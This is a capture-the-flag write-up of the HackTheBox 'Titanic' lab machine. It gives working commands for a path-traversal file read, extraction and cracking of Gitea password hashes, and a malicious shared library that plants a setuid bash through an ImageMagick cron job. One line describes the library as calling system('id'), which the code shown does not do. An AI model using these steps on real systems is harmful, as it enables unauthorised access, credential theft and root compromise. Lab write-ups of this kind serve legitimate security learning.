Post

Titanic

As always let’s start with an nmap scan.

1
2
3
4
5
6
7
8
9
10
──(root㉿kali)-[/home/kali/HTB/Titanic]
└─# nmap --min-rate 10000 10.129.217.164
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-22 09:37 EDT
Nmap scan report for 10.129.217.164
Host is up (0.062s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

After finding out what ports are open on the target machine I am going to do a scan on those ports to determine service/version information.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿kali)-[/home/kali/HTB/Titanic]
└─# nmap -p 22,80 -sCV 10.129.217.164
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-22 09:38 EDT
Nmap scan report for 10.129.217.164
Host is up (0.047s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://titanic.htb/
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

b

Based on the output it can be determined that the target is Ubuntu and also that port 80 is redirecting to titanic.htb. Let’s add this to the /etc/hosts file.

1
vim /etc/hosts

While enumerating the website by clicking around I am going to start ffuf to fuzz for any subdomains.

1
ffuf -u http://10.129.217.164 -H "Host: FUZZ.titanic.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac

This gave back “dev”, let’s add this as well to the /etc/hosts file.

By clicking around on the titanic.htb page the only responsive part is the “Book Your Trip” button.

b

By sending a booking request and paying attention to the Network tab in developer tools many important pieces of information are visible. For example, the site is running Werkzeug Python.

b

Also wanted to look at what kind of pages am I looking at, by the error message and with the help of Wappalyzer it is determined, that this is Flask.

b

For enumerating any additional direcotries I ran feroxbuster.

1
feroxbuster -u http://titanic.htb

This gave back nothing significant that I could use to progress further. b

Time to switch to the dev site, which is hosting Gitea. b

By clicking on the “Explore” tab, I found two repositories.

b

The docker-config repository has two folders.

One of them shows a password and the other one where the Gitea data that lives on the host machine.

b

b

The flask-app repository also shows the source code of titanic.htb.

b

The source code gives away a few things, for example:

  • / returns the static page
  • /book only accepts POST requests saves the data with a random UUID filename, and then returns a redirect to /downloads.

Let’s break down a booking request into smaller pieces and take a closer look.

By sending a request it can be examined that first the application sends a POST request and after that redirects to the /download directory. Later it turned out this is a directory traversal/file read vulnerability.

b

By reading the output the only user outside of root that has a shell set is the developer. So I read the user.txt file based on this opportunity.

b

The docker-compose.yml file showed that there is a shared volume in the developer’s home directory, this is going to help out with getting a shell as a user.

This path was: /home/developer/gitea/data

Using this path we can chain this information with the database info which leaks the path to the database.

b

Using curl I downloaded the database.

1
curl 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db' -o gitea.db

b

In this database I found 2 long hashes, I used Google and found a method how to make a crackable hash from these strings.

b

1
sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes

b

Copied these hashes to a file and used hashcat to crack them.

1
hashcat hashes.txt /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz --user

This was successful and cracked the password for the developer user.

b

From now on I can connect to the target machine via ssh and with the credentials.

1
ssh developer@titanic.htb

b

The privilege escalation is a little bit harder because /proc is mounted with the hideid option set to invisible.

1
mount | grep "/proc "

b

The privesc can be done by paying attention to the metadata.log file that is owned by root and is being written every minute.

b

This is being done by a cron job that is running the following script.

b

The target in this script is Image Magic. The version of Titanic is 7.1.1

b

By doing a quick Google search it is easy to find a POC exploit for this version. I used one found on this GitHub page.

https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8

So I ran the following code:

1
2
3
4
5
6
7
8
9
10
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
 system("cp /bin/bash /tmp/chr0nicler; chmod 6777 /tmp/chr0nicler");
 exit(0);
}
EOF

This loads the library which calls system(“id”) in its constructor. After a minute or so the cron ran and my bash was there.

b

After this, I can run the command with -p which gives a root shell.

b

This post is licensed under CC BY 4.0 by the author.